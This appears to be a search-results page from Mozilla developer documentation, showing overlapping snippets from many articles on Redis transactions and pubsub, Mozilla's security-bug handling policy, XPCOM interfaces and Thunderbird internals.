ommands crashes, the others still all execute! (try this by breaking one of the set statements by leaving out the value argument.) you'll get one return value for each operation that didn't crash. this sounds terrifying, but it's not actually such a big deal in practice. commands will only crash if you feed them the wrong arguments or wrong number of arguments. and you'll probably find problems like that long before you go into production. optimistic locking your transactions are atomic once they start, but of course you can't guarantee that you'll get there first. the redis command watch lets you name keys you're worried about; it causes your next transaction to be immediately aborted if any of the watched keys has been modified by anyone else. for example, here's some node cod...
...reated in any way. the subscriber tells you the name of the channel as well as the message it received. i like pie. the return value from publish tells you how many subscribers received your message! so if that's 0, you know nobody's listening. you might use psubscribe in a case where you have message channels named according to application namespaces, as different modules or logging systems might do. in that case, just check the name of the channel on the received message. subscribe with one client: redis1> psubscribe log.* 1) "psubscribe" 2) "log.*" 3) (integer) 1 publish with another client: redis2> publish log.bacon yes publish log.bacon yes (integer) 1 see message received in first client: redis1> 1) "pmessage" 2) "log.*" 3) "log.bacon" 4) "yes" pubsub is useful for t...
...just check the name of the channel on the received message. subscribe with one client: redis1> psubscribe log.* 1) "psubscribe" 2) "log.*" 3) (integer) 1 publish with another client: redis2> publish log.bacon yes publish log.bacon yes (integer) 1 see message received in first client: redis1> 1) "pmessage" 2) "log.*" 3) "log.bacon" 4) "yes" pubsub is useful for things like: chat programs message passing among application components log routing from applications in multiple languages it's good stuff. heartbeats and time-based event logs it's a common pattern to use numerical timestamps for ranking members in a zset. i'll show this in the node console, to illustrate how the optional parameters are done. > var r = require('redis').createclient(); // and i'll define thes...
...And 2 more matches
Secure Development Guidelines
...
... happen if the application received a signal in the middle of free(ptr)? ...
... unlock(lockb); unlock(locka); } func_b() { lock(lockb); lock(locka); ... do something ... ...
...And 2 more matches
Handling Mozilla Security Bugs
security bug group" by which mozilla contributors and others can participate in addressing security vulnerabilities in mozilla. this document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled. note that the focus of this new structure is restricted solely to addressing actual security vulnerabilities arising from problems in mozilla code. this work is separate from the work of developers adding new security features (cryptographically-based or otherwise) to mozilla, although obviously many of the same people will be involved in both sets of activities. background security vulnerabilities are different from other bugs, because their consequences are potentially so severe: users' private information (including fin...
...y features (cryptographically-based or otherwise) to mozilla, although obviously many of the same people will be involved in both sets of activities. background security vulnerabilities are different from other bugs, because their consequences are potentially so severe: users' private information (including financial information) could be exposed, users' data could be destroyed, and users' systems could be used as platforms for attacks on other systems. thus people have strong feelings about how security-related bugs are handled, and in particular about the degree to which information about such bugs is publicly disclosed. the mozilla project is a public software development project, and thus we have an inherent bias towards openness. in particular, we understand and acknowledge the conce...
...ormation about such bugs is publicly disclosed. the mozilla project is a public software development project, and thus we have an inherent bias towards openness. in particular, we understand and acknowledge the concerns of those who believe that all information about security vulnerabilities should be publicly disclosed as soon as it is known, so that users may take immediate steps to protect themselves and so that problems can get the maximum amount of developer attention and be fixed as soon as possible. at the same time, the mozilla project receives substantial contributions of code and developer time from organizations that use (or plan to use) mozilla code in their own product offerings. some of these products may be used by large populations of end users, many of whom may not often u...
...And 2 more matches
Feed content access API
ces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several p...
...the actual processing of the parsed feed is done by a method called handleresult() on the feedtestresultlistener object. that code looks like this: feedtestresultlistener.prototype = { handleresult: function(result) { var feed = result.doc; fe...
...rue); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method. however, you could also parse it from a file using parsefromstream(), or directly from an url using parseasync(). the actual processing of the parsed feed is done by a method called handleresult() on the feedtestresultlistener object. that code looks like this: feedtestresultlistener.prototype = { handleresult: function(result) { var feed = result.doc; feed.queryinterface(components.interfaces.nsifeed); // open a new wind...
...And 2 more matches
Using the Places annotation service
to have relatively few annotation names. the service stores these names in a separate table, and the fewer names there are, the more efficient retrieving names will be. you should not design your service so that you require hundreds of unique annotation names. setting an annotation the annotation provides a variety of scriptable and non-scriptable setters for annotations on both pages and on items in the places database (see nsiannotationservice.idl for the exact declarations). from c++ you must use the setter for the explicit data type being saved: setpageannotationstring(auri, aname, avalue, aflags, aexpiration); setpageannotationint32(auri, aname, avalue, aflags, aexpiration); setpageannotationint64(auri, aname, avalue, aflags, aexpiration); setpageannotationdouble(auri, aname, av...
...licit data type being saved: setpageannotationstring(auri, aname, avalue, aflags, aexpiration); setpageannotationint32(auri, aname, avalue, aflags, aexpiration); setpageannotationint64(auri, aname, avalue, aflags, aexpiration); setpageannotationdouble(auri, aname, avalue, aflags, aexpiration); setpageannotationbinary(auri, aname, adata, adatalen, aflags, aexpiration); and likewise for items in the places database: setitemannotationstring(aitemid, aname, avalue, aflags, aexpiration); setitemannotationint32(aitemid, aname, avalue, aflags, aexpiration); setitemannotationint64(aitemid, aname, avalue, aflags, aexpiration); setitemannotationdouble(aitemid, aname, avalue, aflags, aexpiration); setitemannotationbinary(aitemid, aname, avalue, adatalen, aflags, aexpiration); from jav...
... name: this is the name of the annotation. see the section on naming above. value: the value of the annotation. flags: currently unused. should be 0. expiration: the expiration time for the annotation (see "lifetime of annotations" below). var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(...
...And 2 more matches
Avoiding leaks in JavaScript XPCOM components
size for the lifetime of a function (stack variables) requires a system for dynamic memory allocation: a system that allocates memory from a space called the heap. the requirements for such a memory allocation system are: memory should be returned to the heap when the program no longer needs it (or soon thereafter) so that the amount of memory consumed by the program does not increase. programs should not dereference pointers pointing to memory that has been returned to the heap (and potentially reused). meeting both requirements at the same time can be tricky. many programming languages guarantee a solution for (2) and handle all the heap management for the programmer. however, this doesn't mean that (1) is also solved. the most common strategies for managing heap allocation are the...
...k the cycle at some point or ensure that the cycle is never created in the first place by making one of the pointers not own a reference (which carries the potential for crashes just like malloc and free). the potential causes of leaks with garbage collection (the next strategy) also apply to reference counting as well. ...
...is generally used to refer to algorithms that (1) determine which objects are still needed by starting from a set of roots and finding all objects reachable from those objects and (2) returning all remaining objects to the heap. the roots include things like global variables and variables on the current call stack. mozilla's javascript engine uses one of the most common garbage collection algorithms, mark and sweep, in which the garbage collector clears the mark bit on each object, sets the mark bits on all roots and all objects reachable from them, and then finalizes all objects not marked and returns the memory they used to the heap. ...
...And 2 more matches
Starting WebLock
« previousnext » in this chapter, we begin to design and implement the web locking functionality itself. we have already created a module that implements most of the generic component functionality (e.g. registration). this chapter will focus on the functionality that actually handles the web locking. getting called at startup no person is an island to himself, and neither are components. the sample component you've built up so far doesn't do anything. after having its registration procedure called, the component does nothing. in order to be started up or notified when some event happens, the sample component has to hook into mozilla, which it can do either by overriding an existing component or by registering for some event that will cause it to start up. weblock does t...
...ader file, in which each method returns ns_error_not_implemented. if you copy the stub implementation from the header file into the source, then rename the dummy class name ("_myclass_") to the weblock class name already defined, you should be able to compile the source successfully. getting the weblock service from a client at this point, you can install the xpcom component and have other systems use it. the component doesn't do anything useful, of course, but you have written enough of the code to have it recognized and accessed as a component in xpcom. the code snippet below illustrates how to get the weblock service when the component is present: nscomptr<nsiservicemanager> servman; nsresult rv = ns_getservicemanager(getter_addrefs(servman)); if (ns_failed(rv)) { printf("error: xpco...
... accesses this weblock white list and uses its data to determine which domains are allowed and which are to be blocked. for this, we need to use the file interfaces available in xpcom. file interfaces files and directories are abstracted and encapsulated by interfaces. there are a few reasons for not using strings to represent file locations, but the most important one is that not all file systems can be represented by a series of characters separated by a slash. on the macintosh platform, for example, files are represented as a triplet - two numbers and one string - so using a string on the macintosh does not adequately identify files on that operating system. nsifile, the file interface in xpcom, provides most of the functionally that file handling requires. that interface includes memb...
...And 2 more matches
IAccessible2
efox 3) method overview [propget] hresult attributes([out] bstr attributes ); [propget] hresult extendedrole([out] bstr extendedrole ); [propget] hresult extendedstates([in] long maxextendedstates, [out, size_is(,maxextendedstates), length_is(, nextendedstates)] bstr extendedstates, [out] long nextendedstates ); [propget] hresult groupposition([out] long grouplevel, [out] long similaritemsingroup, [out] long positioningroup ); [propget] hresult indexinparent([out] long indexinparent ); [propget] hresult locale([out] ia2locale locale ); [propget] hresult localizedextendedrole([out] bstr localizedextendedrole ); [propget] hresult localizedextendedstates([in] long maxlocalizedextendedstates, [out, size_is(,maxlocalizedextendedstates), length_is(, nlocalizedextendedstates)] bst...
...onsideration "special consideration when using arrays" for more details. extendedstates this array is allocated by the server. free it with cotaskmemfree. nextendedstates the number of extended states returned; the size of the returned array. return value s_false if there are no states, [out] values are null and 0 respectively. s_ok. groupposition() returns grouping information. used for tree items, list items, tab panel labels, radio buttons, and so on. also used for collections of non-text objects. [propget] hresult groupposition( [out] long grouplevel, [out] long similaritemsingroup, [out] long positioningroup ); parameters grouplevel 1 based, 0 indicates that this value is not applicable. similaritemsingroup 1 based, 0 indicates that this value is not applicable. positioningroup...
...ia2coordinatetype coordinatetype, [in] long x, [in] long y ); parameters coordinatetype specifies whether the coordinates are relative to the screen or the parent object. x defines the x coordinate. y defines the y coordinate. return value e_invalidarg if bad [in] passed. s_ok. states() returns the bit strip containing any iaccessible2 states. ...
...And 2 more matches
nsIAccessibleStates
more than 1 allowed. constant value description state_unavailable 0x00000001 the object is unavailable, that is disabled. ...
...hics. state_animated 0x00004000 the object's appearance changes rapidly or constantly. graphics that are occasionally animated are described as role_graphic (see nsiaccessiblerole.constants) with the state property set to state_animated. this state is used to indicate that the object's location is changing. state_invisible 0x00008000 the object is programmatically hidden. for example, menu items are programmatically hidden until a user activates the menu. because objects with this state are not available to users, client applications should not communicate information about the object to users. however, if client applications find an object with this state, they should check to see if state_offscreen is also set. if this second state is defined, then clients can communicate the informati...
...rmation about the object to users. however, if client applications find an object with this state, they should check to see if state_offscreen is also set. if this second state is defined, then clients can communicate the information about the object to users. for example, a list box can have both state_invisible and state_offscreen set. in this case, the client application can communicate all items in the list to users. state_offscreen 0x00010000 scrolled off. state_sizeable 0x00020000 the object can be resized. for example, a user could change the size of a window by clicking the border with a mouse and dragging the mouse. state_moveable 0x00040000 the object can be moved. for example, a user can click on the titlebar for the object and drag the object to a new location. state_self...
...And 2 more matches
nsICryptoHMAC
these values are to be used by the init() method to indicate which hashing function to use. ...
...these values are to be used by the init() method to indicate which hashing function to use. these values map onto the values defined in mozilla/security/nss/lib/softoken/pkcs11t.h and are switched to ckm_*_hmac constant. ...
... changed in gecko 1.9 (firefox 3) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm, in nsikeyobject akeyobject); void reset(); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorithms. these values are to be used by the init() method to indicate which hashing function to use. these values map onto the values defined in mozilla/security/nss/lib/softoken/pkcs11t.h and are switched to ckm_*_hmac constant. constant value description md2 1 message digest algorithm 2 md5 2 message-digest algorithm 5 sha1 3 secure hash algor...
...And 2 more matches
nsIJSON
the idl file has portions of the idl commented out because they represent things that can't actually be properly described by idl; however, for the purposes of this article, we'll pretend they can be and ignore that issue. ...
... note: this method is more flexible tha...
...r use in your native code. don't forget to gcroot the result before using it. jsval decodetojsval( in astring str, in jscontext cx ); parameters str the json string to decode. cx the javascript runtime context to use to decode the string. return value the original javascript object, reconstructed from the json string. don't forget to gcroot the jsval before using it. decodefromstream() decodes a json string read from an input stream, returning the javascript object it represents. jsobject decodefromstream( in nsiinputstream stream, in long contentlength ); parameters stream the nsiinputstream from which to read the json string. contentlength the length of the json string to read. return value a jsobject which is the original javascript object, recons...
...And 2 more matches
nsILoginInfo
upports implemented by: @mozilla.org/login-manager/logininfo;1. to create an instance, use: var logininfo = components.classes["@mozilla.org/login-manager/logininfo;1"] .createinstance(components.interfaces.nsilogininfo); method overview nsilogininfo clone(); boolean equals(in nsilogininfo alogininfo); void init(in astring ahostname, in astring aformsubmiturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute type description formsubmiturl astring the origin, not url, a form-based login was submitted to. for logins obtained from html f...
...miturl, in astring ahttprealm, in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword); attributes attribute type description formsubmiturl astring the origin, not url, a form-based login was submitted to. for logins obtained from html forms, this field is the action attribute from the form element, with the path removed (for example, "https://www.site.com"). forms with no action attribute default to submitting to their origin url, so that is stored here. this field is null for logins attained from protocol authentications and "" means to match against any form action. hostname astring the origin, not hostname, to whi...
...ttps://www.site.com"). a port number (":123") may be appended. httprealm astring the http realm for which the login was requested. when an http server sends a 401 result, the www-authenticate header includes a realm to identify the "protection space." see rfc 2617. if the result did not include a realm, or it was blank, the hostname is used instead. for logins obtained from html forms, this field is null. password astring the password for the login. passwordfield astring the name attribute for the password input in a form. non-form logins should specify an empty string (""). username astring the username for the login. usernamefield astring the name attribute for the username input in a form. non-form logins should sp...
...And 2 more matches
nsIOutputStream
nsisupports last changed in gecko 1.0 an output stream may be "blocking" or "non-blocking" (see the isnonblocking() method). a blocking output stream may suspend the calling thread in order to satisfy a call to close(), flush(), write(), writefrom(), or writesegments(). a non-blocking output stream, on the other hand, must not block the calling thread of execution. note: blocking output streams are often written to on a background thread to avoid locking up the main application thread. for this reason, it is generally the case that a blocking output stream should be implemented using thread-safe addref and release. method overview void close(); void flush(); boolean isnonblocking(); unsigned long write(in string abuf, in unsigned long acount); ...
...oid locking up the main application thread. for this reason, it is generally the case that a blocking output stream should be implemented using thread-safe addref and release. method overview void close(); void flush(); boolean isnonblocking(); unsigned long write(in string abuf, in unsigned long acount); unsigned long writefrom(in nsiinputstream afromstream, in unsigned long acount); unsigned long writesegments(in nsreadsegmentfun areader, in voidptr aclosure, in unsigned long acount); native code only! methods close() close the stream. forces the output stream to flush() any buffered data. note: this method may be called more than once, but subsequent calls are ignored. void close(); parameters none. exceptions thrown ...
...s as an optimization. note: this method is defined by this interface in order to allow the output stream to efficiently copy the data from the input stream into its internal buffer (if any). if this method was provided as an external facility, a separate char* buffer would need to be used in order to call the output stream's other write() method. unsigned long writefrom( in nsiinputstream afromstream, in unsigned long acount ); parameters afromstream an nsiinputstream containing the data to be written. acount the maximum number of bytes to write to the stream. return value this method returns the number of bytes written to the stream (may be less than acount). exceptions thrown ns_base_stream_would_block indicates that writing to the output stream would block the callin...
...And 2 more matches
nsITreeView
drop_on 0 drop_after 1 indropbefore 0 obsolete since gecko 1.8 indropon 1 obsolete since gecko 1.8 indropafter 2 obsolete since gecko 1.8 methods candrop() methods used by the drag feedback code to determine if a drag is allowable at the current location. to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false when the orientation is not drop_on. note: drop_on will only be passed to candrop() if the item is a container; see iscontainer(). boolean candrop( in long index, in long orientation, in nsidomdatatransfer datatransfer ); parameters index the index of the row. orientation the position around the given row. defined in constants...
...ned to determine if a drop is possible. return value true if a drop is allowed at the current location; otherwise false. candropbeforeafter() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method used by the drag feedback code to determine if a drag is allowable at the current location. to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false from candropbeforeafter(). boolean candropbeforeafter( in long index, in boolean before ); parameters index the index of the item. before true to test drop before. false to test drop after. return value true if a drop event can occur. otherwise false. candropon() obsolete since gecko 1.8 (firefox 1.5 / thunde...
... item. before true to test drop before. false to test drop after. return value true if a drop event can occur. otherwise false. candropon() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method used by the drag feedback code to determine if a drag is allowable at the current location. to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false from candropbeforeafter(). boolean candropon( in long index ); parameters index the index of the item. return value true if a drop event can occur. otherwise false. cyclecell() called on the view when a cell in a non-selectable cycling column (for example, unread/flag/and so on.) is clicked. void cyclecell( in long row, in ...
...And 2 more matches
nsIWebSocketChannel
read only. loadgroup nsiloadgroup the load group of the websockets code. notificationcallbacks nsiinterfacerequestor the notification callbacks for authorization a...
...read only. loadgroup nsiloadgroup the load group of the websockets code. notificationcallbacks nsiinterfacerequestor the notification callbacks for authorization and so forth. ...
...read only. loadgroup nsiloadgroup the load group of the websockets code. notificationcallbacks nsiinterfacerequestor the notification callbacks for authorization and so forth. originaluri nsiu...
...And 2 more matches
nsIZipWriter
observer. attempting to perform a synchronous operation on the interface while the background queue is in progress will throw an ns_error_in_progress exception. file and directory names should use slashes ("/") as separators and should not begin with a slash. note: although it is not necessary to add directory entries in order to add file entries within them, some zip utilities may have problems with that, so it may be best to add the directory entries explicitly first. implemented by: @mozilla.org/zipwriter;1. to create an instance, use: var zipwriter = components.classes["@mozilla.org/zipwriter;1"] .createinstance(components.interfaces.nsizipwriter); method overview void addentrychannel(in autf8string azipentry, in prtime amodtime, in print32 acompression,...
...exists the specified path already exists in the zip file. ns_error_in_progress the zip writer is already performing another operation. addentrydirectory() adds a new directory entry to the zip file. if azipentry does not end with "/" then it will be added. note: although it is not necessary to add directory entries in order to add file entries within them, some zip utilities may have problems with that, so it may be best to add the directory entries explicitly first. void addentrydirectory( in autf8string azipentry, in prtime amodtime, in boolean aqueue ); parameters azipentry the path of the directory entry to add to the zip file.note: you must use forward slashes in the path. (a forward slash is '/') detail: this azipentry is very important, this example demonstrates...
...ameter is null. ns_error_file_not_found the specified file was not found and the flags didn't permit creating it. or the directory for the file does not exist. ns_error_file_corrupted the specified file is not a recognizable zip file. other errors may be thrown upon failing to open the file, such as if the file is corrupt or in an unsupported format. ...
...And 2 more matches
XPCOM ABI
only applications which use this abi could use this xpcom component. ...
...only applications which use this abi could use this xpcom component. ...
...has a certain abi. only applications which use this abi could use this xpcom component. to put it simply, an xpcom component built for a specific abi would only be compatible with firefox, thunderbird or other xulrunner application built for the same abi. ...
...And 2 more matches
xptcall FAQ
porting this code is required in order to make mozilla run on any given platform. why does xptcall exist? xptcall exists for two reasons: to support invoking arbitrary methods on xpcom interfaces. to support dynamically impersonating any xpcom interface. both of these facilities are required by xpconnect. these facilities are also used by xpcom/proxy. it may also be used by other subsystems in the future. the xptcall approach was chosen over an approach that would have required generating stub code for calling and implementing all interfaces. though the chosen approach requires some core platform specific code, it has minimal footprint and is extendable to work with any valid xpcom interface without requiring additional per platform compiled code to be distributed. what does xptca...
...t and is extendable to work with any valid xpcom interface without requiring additional per platform compiled code to be distributed. what does xptcall really do? the core invoke function has the declaration: xptc_public_api(nsresult) xptc_invokebyindex(nsisupports* that, pruint32 methodindex, pruint32 paramcount, nsxptcvariant* params); nsxptcvariant is a discriminated union of the types that can be passed as parameters to the target function (including void* to represent arbitrary pointer types). given the correct set of parameters, this function can call any method on any xpcom interface. xpconnect uses information from typelib files to reflect arbitrary xpcom interfaces into javascript and to make calls from javascript t...
...n whose job it is to use the typelib information to extract the parameters from the platform specific calling convention to build an array of variants to hold the parameters and then call an inherited method which can then do whatever it wants with the call. this code also does the platform specific cleanup as the call returns. this all works and is being used in mozilla today on numerous platforms. why can't xptcall just be implemented in c or c++? neither of these two facilities can be done in a fully cross platform way. nor can they generally be done fully in c or c++. let's take them one at a time to see why. the invoke facility requires code that can build and invoke an arbitrary call frame. the c++ compiler builds such call frames all the time. but the compiler builds frames custom...
...And 2 more matches
XPIDL
erify. webidl interfaces are also valid xpidl types. to declare a webidl interface in xpidl, write webidl interfacename;. webidl types will be passed as mozilla::dom::interfacename* when used as in-parameters, as mozilla::dom::interfacename** when used as out or inout-parameters, and as refptr<mozilla::dom::interfacename> when used as an array element. other webidl types (e.g. dictionaries, enums, and unions), are not currently supported. constants constants are technically legal at the top level, but xpidl i forbids them from being placed there; instead, they must be in an interface. the only constants supported are those which become integer types when compiled to source code; string constants and floating point constants, though parseable, cannot be made into a header or xpt file. ...
...constants are technically legal at the top level, but xpidl i forbids them from being placed there; instead, they must be in an interface. the only constants supported are those which become integer types when compiled to source code; string constants and floating point constants, though parseable, cannot be made into a header or xpt file. constants are emitted in header files using anonymous enums, although there is an outstanding patch that combines adjacent constants into the same anonymous enums to quiet enum mismatch warnings. interfaces specifying interfaces is the primary purpose of using xpidl. interfaces are basically a collection of constants, methods, and attributes; in mozilla, these are the primary ways in which javascript code can interact with native c++ code. furthermore, ...
...hese are the primary ways in which javascript code can interact with native c++ code. furthermore, interfaces can also inherit from another interface. every interface should inherit nsisupports in some fashion. however, it is generally not recommended to have a chain of interfaces inheriting from each other if you intend to have a chain of implementations for each interface, as it can cause problems in c++ code. table 4: basic interface attributes attribute interpretation uuid(12345678-fedc-ba98-7654-0123456789ab) this is the internal way this interface is accessed; it must be unique, and the uuid must be generated when creating the interface. after that, it doesn't need to be changed any more. for instructions on how to generate an uuid see generating guids. ...
...And 2 more matches
Mozilla technologies
starting with mozilla 1.9, it was phased out in favor of sqlite, a more widely-supported file format.placesplaces is the bookmarks and history ma...
...starting with mozilla 1.9, it was phased out in favor of sqlite, a more widely-supported file format.placesplaces is the bookmarks and history management system intro...
...iewed online using searchfox, a fast indexed search engine that runs on aws.xml extrasthe xml extras module contains several features that allow developers to treat xml as data i.e. not as just another document format. the module is structured as a drop-in component and exposes its xml-as-data features both to javascript and c++/xpcom users. the xml extras module is built by default on all platforms, and is included in the browser installers so it is available in the nightly builds.xpcomxpcom is a cross platform component object model, similar to microsoft com. it has multiple language bindings, allowing xpcom components to be used and implemented in javascript, java, and python in addition to c++.xpidlxpidl is an interface description language used to specify xpcom interface classes.xray vi...
...And 2 more matches
Autoconfiguration in Thunderbird
o: for instructions for users, see automatic account configuration on the thunderbird knowledge base. the configuration file description and definition the original project page on the mozilla wiki for background, design, implementation and project details this document describes how autoconfiguration in thunderbird works, and what to do to allow mail servers to be autoconfigured. mechanisms thunderbird gets the server settings via different means, each of which is intended for different cases: ispdb the ispdb is a central database, currently hosted by the thunderbird project, but free to use for any client. it contains settings for the world's largest isps. most isps with a market share of more than 0.1% are included. this allows to autoconfigure almost 50% of our user's email...
...ettings for the world's largest isps. most isps with a market share of more than 0.1% are included. this allows to autoconfigure almost 50% of our user's email accounts. it was added because we cannot assume that all big isps (including microsoft) will set up a configuration server for thunderbird. configuration server at isp isps have the option to provide their configuration information themselves directly to users, by setting up a web server at autoconfig.<domain>, which simply returns a static xml file with the configuration, as described below. for more complicated setups, for example when the login name does not appear in the email address, the xml file can also be generated by the isp. in such complicated cases, this is the only way to allow an automatic setup. configuration fil...
...strators may place a configuration file in the thunderbird installation folder. this is mainly intended for companies who install thunderbird on their employees' computers and want to enable easy account setup without having to set up a configuration server. this method is not practical for other use cases, because it is difficult to update the configuration file. guessing if all other mechanisms failed, thunderbird tries to guess the configuration, by trying common server names like imap.<domain>, smtp.<domain>, mail.<domain> etc., and, when a mail server answers, checking whether it supports ssl, starttls and encrypted passwords (cram-md5). manual configuration if guessing fails, the user must manually enter the configuration information. users may also choose to manually modify the ...
...And 2 more matches
DB Views (message lists)
the thread pane (aka message list) is driven by classes that implement nsimsgdbview and inherit from nsmsgdbview. these are the main view classes: nsmsgthreadeddbview - (implementation) nsmsgsearchdbview - (implementation) nsmsgquicksearchdbview - (implementation) nsmsgxfvirtualfolderdbview - (implementation) nsmsggroupview - (implementation) usually, a view object has parallel arrays, which map directly to lines in the message list: m_keys message header key m_flags 32 bits, combination of message header flags and view-only flags (e.g., collapsed) m_level the indentation level when in threaded mode. ...
...tion) nsmsgxfvirtualfolderdbview - (implementation) nsmsggroupview - (implementation) usually, a view object has parallel arrays, which map directly to lines in the message list: m_keys message header key m_flags 32 bits, combination of message header flags and view-only flags (e.g., collapsed) m_level the indentation level when in threaded mode. m_folders cross-folder views only (nsmsgsearchdbview and its descendant, nsmsgxfvirtualfolderdbview) most of the time, the thread pane is driven by an nsmsgthreadeddbview object (even when we're in a flat sort). if the user does a quick search or picks a view from the view menu, we create an nsmsgquicksearchdbview. ...
...n level when in threaded mode. m_folders cross-folder views only (nsmsgsearchdbview and its descendant, nsmsgxfvirtualfolderdbview) most of the time, the thread pane is driven by an nsmsgthreadeddbview object (even when we're in a flat sort). if the user does a quick search or picks a view from the view menu, we create an nsmsgquicksearchdbview. advanced search results are displayed with an nsmsgsearchdbview, and cross-folder saved searches use nsmsgxfvirtualfolderdbview, which inherits from nsmsgsearchdbview. nsmsggroupview is used when grouping is turned on. one unique thing about nsmsggroupview is that instead of using the message database's nsmsgthread objects like the other view classes, it uses an nsmsggroupthread object, which also implements nsimsgthread. view flags and types...
...And 2 more matches
MailNews Protocols
doesn't follow the same pattern as the c++ protocols. imap,pop3, and nntp are "incoming" protocols, i.e., we retrieve messages from a server, and represent them as folders to the user. those protocols all have the following, defined in the corresponding protocol subdirectory of mailnews (i.e., mailnews/imap, mailnews/local (for pop3), mailnews/news): an incoming server class, which implements nsimsgincomingserver and inherits from mailnews/base/util/nsmsgincomingserver, i.e.., nspop3incomingserver, nsimapincomingserver, nsnntpincomingserver. a folder class, which implements nsimsgfolder, and inherits from nsmsgdbfolder. most commands/operations go through the folder object. nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a service class, which generally sits between the folder ...
...ugh the folder object. nsimapmailfolder, nsnewsfolder, nslocalmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object. the service class creates and initializes the url object for the operation, and hands that off to a protocol object to run. ...
...r, nslocalmailfolder (for pop3) a service class, which generally sits between the folder object or the server object, and the protocol object. the service class creates and initializes the url object for the operation, and hands that off to a protocol object to run. the service classes usually have their own interface, but they also implement nsimsgmessageservice. a url object. ...
...And 2 more matches
Main Windows
red sections shown in the interface above (where?), including the toolbars, notification bars, and the status bar, but also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript. mailoverlay.xul a really small overlay that only adds a few “new message” and “new card” commands to the menus, along with their associated javascript. msghdrviewoverlay.xul shown in blue above (where?), this overlay consists of three boxes. two are stacked showing either a brief or expanded view of the headers. the third is the attachment box which can be toggled into a slim or an expanded view basemenuoverlay.xul contains the contents of most of the menus (i.e. file, edit, view, etc). osx only: macmenuoverlay.xul a special overlay for osx th...
...ul shown in blue above (where?), this overlay consists of three boxes. two are stacked showing either a brief or expanded view of the headers. the third is the attachment box which can be toggled into a slim or an expanded view basemenuoverlay.xul contains the contents of most of the menus (i.e. file, edit, view, etc). osx only: macmenuoverlay.xul a special overlay for osx that adds a few items to the window menu. messagewindow.xul messagewindow.xul is shown when a message is opened. its almost exactly the same as messenger.xul in terms of overlays, but just lacks the folder and threadpanes normally shown. menus, toolbar buttons, and headers are all taken from exactly the same overlays listed above though. mailwindowoverlay.xul this is the red sections shown in the interface abo...
...r and threadpanes normally shown. menus, toolbar buttons, and headers are all taken from exactly the same overlays listed above though. mailwindowoverlay.xul this is the red sections shown in the interface above, including the toolbars, notification bars and the status bar.it also includes most of the commands, keysets, and context menus of thunderbird, along with a whole lot of javascript. msghdrviewoverlay.xul shown in blue above, this overlay consists of three boxes. two are stacked showing either a brief or expanded view of the headers. the third is the attachment box which can be toggled into a slim or an expanded view basemenuoverlay.xul contains the contents of most of the menus (i.e. file, edit, view, etc). osx only: macmenuoverlay.xul a special overlay for osx that adds a...
...And 2 more matches
Activity Manager examples
ager const nsiap = components.interfaces.nsiactivityprocess; const nsiae = components.interfaces.nsiactivityevent; const nsiam = components.interfaces.nsiactivitymanager; let gactivitymanager = components.classes["@mozilla.org/activity-manager;1"].getservice(nsiam); let process = components.classes["@mozilla.org/activity-process;1"].createinstance(nsiap); // assuming folder is an instance of nsimsgfolder interface // localization is omitted, initiator is not provided process.init("processing folder: " + folder.prettiestname, null); // note that we don't define a custom icon, default process icon // will be used process.contexttype = "account"; // group this activity by account process.contextobj = folder.server; // account in question gactivitymanager.addactivity(proces...
...opyeventundo, nsiactivityundohandler) ns_imethodimp mycopyeventundo::undo(nsiactivityevent *event, nsresult *result) { nsresult rv; // get the subjects of this copy event pruint32 length; nsivariant **subjectlist; rv = event->getsubjects(&length, &subjectlist); if(ns_failed(rv)) return rv; // first subject in the list is the source folder in this particular case nscomptr<nsimsgfolder> folder = do_queryinterface(subjectlist[0]); // get the initiator nsivariant *initiator; event->getinitiator(&initiator); if (initiator) { nsisupports* ptr; rv = object->getasisupports(&ptr); if(ns_failed(rv)) return rv; nscomptr<nsimsgcopyservice> copyservice = do_queryinterface(ptr); if (copyservice) copyservice->undo(folder); } return (*...
...t in a nsvariant component nscomptr<nsiwritablevariant> srcfolder = do_createinstance(ns_variant_contractid); srcfolder->setasisupports(reinterpret_cast<nsisupports*>(imapfolder)); copyevent->addsubject(srcfolder); copyevent->init(ns_literal_string("message copy event"), initiator, ns_literal_string("completed successfully"), pr_now() / pr_usec_per_msec, // start time pr_now() / pr_usec_per_msec); // completion time // do not forget to increase the ref counter if needed copyevent->setundohandler(undohandler); //////////////////////////////////////////////////////////////// //// adding the event into activity manager nscomptr<nsiactivitymanager> activitymgr(do_getservice("@mozilla.org/activity-manager;1")); pruint32 id; a...
...And 2 more matches
Filter Incoming Mail
